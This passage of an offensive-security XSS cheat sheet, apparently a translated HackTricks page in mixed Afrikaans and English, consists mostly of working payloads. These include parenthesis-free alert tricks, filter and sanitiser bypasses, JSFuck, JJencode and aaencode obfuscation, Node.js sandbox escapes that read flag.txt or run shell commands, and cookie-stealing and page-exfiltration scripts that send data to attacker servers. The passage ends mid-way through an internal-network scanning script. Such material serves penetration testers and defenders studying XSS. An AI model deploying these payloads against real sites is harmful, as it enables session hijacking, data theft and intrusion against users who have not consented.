Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
Arbitrêre funksie (alert) aanroep
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOM vulnerabilities
Daar is JS code wat onveilige data wat deur ’n aanvaller beheer word gebruik, soos location.href. ’n Aanvaller kan dit misbruik om arbitrêre JS-kode uit te voer.
As gevolg van die uitbreiding van die verduideliking van DOM vulnerabilities it was moved to this page:
Daar sal jy ’n gedetailleerde verklaring van wat DOM vulnerabilities is, hoe dit veroorsaak word, en hoe om dit te eksploiteer vind.
Moet ook nie vergeet dat aan die einde van die genoemde post jy ’n verklaring oor DOM Clobbering attacks kan vind.
Opgradering van Self-XSS
Cookie XSS
As jy ’n XSS kan veroorsaak deur die payload in ’n cookie te stuur, is dit gewoonlik ’n self-XSS. As jy egter ’n vulnerable subdomain to XSS vind, kan jy hierdie XSS misbruik om ’n cookie in die hele domein in te voeg en sodoende die cookie XSS in die hoofdomein of ander subdomeine (dié wat vatbaar is vir cookie XSS) te trigger. Hiervoor kan jy die cookie tossing attack gebruik:
Jy kan ’n goeie voorbeeld van die misbruik van hierdie tegniek vind in this blog post.
Sending your session to the admin
Miskien kan ’n gebruiker sy profiel met die admin deel, en as die self XSS binne die profiel van die gebruiker is en die admin dit toegang, sal hy die kwesbaarheid aktiveer.
Session Mirroring
As jy ’n self XSS vind en die webblad het session mirroring for administrators, byvoorbeeld wat kliënte toelaat om hulp te vra en sodat die admin jou sessie kan sien om jou te help, sal hy sien wat jy in jou sessie sien maar vanaf sy eie sessie.
Jy kan die administrator laat jou self XSS trigger en sy cookies/session steel.
Ander Omseilings
Sanitisering omseil via WASM linear-memory template overwrite
Wanneer ’n web app Emscripten/WASM gebruik, leef konstante stringe (soos HTML formaat stubs) in skryfbare lineêre geheue. ’n Enkel in‑WASM overflow (bv. unchecked memcpy in ’n edit path) kan aangrensende strukture korrupteer en skryfaksies na daardie konstantes herlei. Die oorskrywing van ’n template soos “” verander gesaniteerde inset in ’n JavaScript-handlervalue en lewer onmiddellike DOM XSS by render.
Kyk na die toegewyde bladsy met exploit-werkvloei, DevTools memory helpers, en verdediging:
Wasm Linear Memory Template Overwrite Xss
Normalised Unicode
Jy kan nagaan of die reflected values op die bediener (of aan die kliëntkant) unicode normalized word en hierdie funksionaliteit misbruik om beskermings te omseil. Find an example here.
PHP FILTER_VALIDATE_EMAIL flag Bypass
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
Wegens RoR mass assignment word aanhalingstekens in die HTML ingevoeg, en die aanhaling-beperking word omseil, sodat addisionele velde (onfocus) binne die tag bygevoeg kan word.
Formuliervoorbeeld (from this report), as jy die payload stuur:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
Die paar “Key”,“Value” sal so teruggegee word:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
Dan sal die onfocus-attribuut ingevoeg word en XSS plaasvind.
Spesiale kombinasies
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
XSS with header injection in a 302 response
As jy vind dat jy headers in ’n 302 Redirect response kan inspuit kan jy probeer om die browser willekeurige JavaScript te laat uitvoer. Dit is nie eenvoudig nie aangesien moderne browsers nie die HTTP response body interpreteer as die HTTP response status code 302 is nie, so net ’n cross-site scripting payload is nutteloos.
In this report en this one kan jy lees hoe jy verskeie protokolle in die Location header kan toets en sien of enige van hulle die browser toelaat om die XSS payload in die body te inspekteer en uit te voer.
Eerder bekende protokolle: mailto://, //x:1/, ws://, wss://, leë Location header, resource://.
Slegs Letters, Syfers en Punte
As jy in staat is om die callback wat JavaScript gaan uitvoer aan te dui, beperk tot daardie karakters. Lees hierdie afdeling van hierdie pos om te vind hoe om hierdie gedrag te misbruik.
Valid <script> Content-Types to XSS
(From here) As jy probeer om ’n script te laai met ’n content-type soos application/octet-stream, sal Chrome die volgende fout gooi:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx’ because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
Die enigste Content-Types wat Chrome sal ondersteun om ’n loaded script te laat loop is dié binne die const kSupportedJavascriptTypes van https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
Skripsoorte vir XSS
(Van here) Watter tipes kan dus aangedui word om ’n skrip te laai?
<script type="???"></script>
Die antwoord is:
- module (standaard, niks om te verduidelik)
- webbundle: Web Bundles is ’n funksie waarmee jy ’n klomp data (HTML, CSS, JS…) saam in ’n
.wbnlêer kan pak.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: Laat toe om die import-sintaksis te verbeter
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>
Hierdie gedrag is gebruik in this writeup om ’n biblioteek na eval te herkaart sodat misbruik daarvan XSS kan veroorsaak.
- speculationrules: Hierdie funksie is hoofsaaklik bedoel om sekere probleme wat deur pre-rendering veroorsaak word, op te los. Dit werk soos volg:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>
Web Content-Types vir XSS
(From here) Die volgende inhoudtipes kan XSS in alle blaaiers uitvoer:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? not in the list but I think I saw this in a CTF)
- application/rss+xml (off)
- application/atom+xml (off)
In ander blaaiers kan ander Content-Types gebruik word om arbitrêre JS uit te voer, kyk: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
xml Inhoudstipe
As die bladsy ’n text/xml content-type terugstuur, is dit moontlik om ’n naamruimte aan te dui en arbitrêre JS uit te voer:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Spesiale Vervangingspatrone
Wanneer iets soos "some {{template}} data".replace("{{template}}", <user_input>) gebruik word. Die aanvaller kan special string replacements gebruik om te probeer sekere beskerming te omseil: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
Byvoorbeeld in this writeup, is dit gebruik om ’n JSON string te escape binne ’n script en arbitrêre kode uit te voer.
Chrome Cache na XSS
XS Jails Escape
As jy net ’n beperkte stel karakters het om te gebruik, kyk na hierdie ander geldige oplossings vir XSJail-probleme:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
As alles is undefined voordat onbetroubare kode uitgevoer word (soos in this writeup) is dit moontlik om bruikbare objekte “uit niks” te genereer om die uitvoering van arbitrêre onbetroubare kode te misbruik:
- Using import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
- Indirek toegang tot
require
According to this modules word deur Node.js binne ’n funksie toegedraai, soos volg:
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
Daarom, as ons van daardie module ’n ander funksie kan oproep, is dit moontlik om arguments.callee.caller.arguments[1] van daardie funksie te gebruik om toegang tot require te kry:
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()
Op ’n soortgelyke wyse as die vorige voorbeeld, is dit moontlik om use error handlers te gebruik om toegang te kry tot die wrapper van die module en die require-funksie te verkry:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()
Obfuscation & Advanced Bypass
- Verskillende obfuscations op een bladsy: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- Meer gesofistikeerde JSFuck: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}
XSS algemene payloads
Verskeie payloads in 1
Iframe Trap
Laat die gebruiker op die bladsy navigeer sonder die iframe te verlaat en steel sy aksies (insluitend inligting wat in forms gestuur word):
Haal Cookies op
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
Tip
Jy sal nie toegang tot die cookies van JavaScript kan kry nie as die HTTPOnly vlag in die cookie gestel is. Maar hier is ’n paar maniere om hierdie beskerming te omseil as jy gelukkig genoeg is.
Steel bladsyinhoud
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
Vind interne IPs
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}
